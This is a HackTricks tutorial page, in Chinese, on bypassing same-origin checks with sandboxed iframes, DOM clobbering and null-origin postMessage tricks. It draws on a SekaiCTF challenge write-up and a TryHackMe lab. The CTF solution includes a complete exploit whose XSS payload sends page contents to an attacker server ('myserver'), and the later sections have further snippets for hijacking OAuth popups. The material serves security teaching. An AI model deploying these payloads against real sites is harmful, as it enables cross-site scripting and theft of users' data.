使用 Iframes 绕过 SOP - 2

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Iframes 在 SOP-2 中

在这个 challengesolution 中,@Strellic_ 提出了一种与上一节类似的方法。我们来看看。

在这个挑战中,攻击者需要绕过以下内容:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

如果他這樣做,他可以發送一個帶有 HTML 內容的 postmessage,該內容會使用 innerHTML 寫入頁面而不經過清理(XSS)。

繞過第一次檢查的方法是讓 window.calc.contentWindow 變為 undefined 並且 e.source 變為 null

  • window.calc.contentWindow 實際上是 document.getElementById("calc")。你可以用 <img name=getElementById /> 覆蓋 document.getElementById(注意 Sanitizer API -here- 在其默認狀態下未配置為防護 DOM clobbering 攻擊)。
  • 因此,你可以用 <img name=getElementById /><div id=calc></div> 覆蓋 document.getElementById("calc")。然後,window.calc 將是 undefined
  • 現在,我們需要 e.sourceundefinednull(因為使用的是 == 而不是 ===null == undefinedTrue)。達到這一點很“容易”。如果你創建一個 iframe 並從中 send 一個 postMessage 然後立即 remove 該 iframe,e.origin 將會是 null。檢查以下代碼
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

要绕过关于 token 的第二次检查,方法是发送值为 nulltoken 并使 window.token 的值为 undefined

  • 在 postMessage 中发送值为 nulltoken 很简单。
  • window.token 是在调用使用 document.cookiegetCookie 函数时获取的。注意在 null origin 的页面中访问 document.cookie 会触发一个 错误。这会使 window.token 的值为 undefined

@terjanq 提出的最终解决方案是 following

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

最近的一个 TryHackMe 任务(“Vulnerable Codes”)演示了当 opener 位于一个仅允许 scripts 和 popups 的 sandboxed iframe 内时,OAuth popups 如何被劫持。该 iframe 会将自身和 popup 强制置为 "null" origin,因此那些检查 if (origin !== window.origin) return 的 handlers 会静默失败——因为 popup 内的 window.origin 也同样是 "null"。尽管浏览器仍然暴露真实的 location.origin,但受害者从未检查它,因此攻击者控制的消息就这样轻易通过。

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

Takeaways for abusing that setup:

  • 在 popup 中将 originwindow.origin 进行比较的处理器可以被绕过,因为两者都会被评估为 "null",因此伪造的消息看起来合法。
  • 授予 allow-popups 但省略 allow-same-origin 的 sandboxed iframes 仍会产生锁定到攻击者控制的 "null" origin 的弹出窗口,即便在 2025 年的 Chromium 构建中,也能为你提供一个稳定的隔离区。

Source-nullification & frame-restriction bypasses

关于 CVE-2024-49038 的行业分析强调了对该页面可复用的两个原语:(1) 通过 window.open 启动那些设置了 X-Frame-Options: DENY 的页面,并在导航稳定后通过 postMessage 发送消息,你仍然可以与它们交互;(2) 你可以通过在发送消息后立即移除 iframe 来暴力破解 event.source == victimFrame 检查,这样接收方在处理器中只会看到 null

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

将此与上面的 DOM-clobbering 技巧结合使用:一旦接收方只看到 event.source === null,针对 window.calc.contentWindow 或类似对象的任何比较都会失效,从而再次让你通过 innerHTML 注入恶意 HTML sinks。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks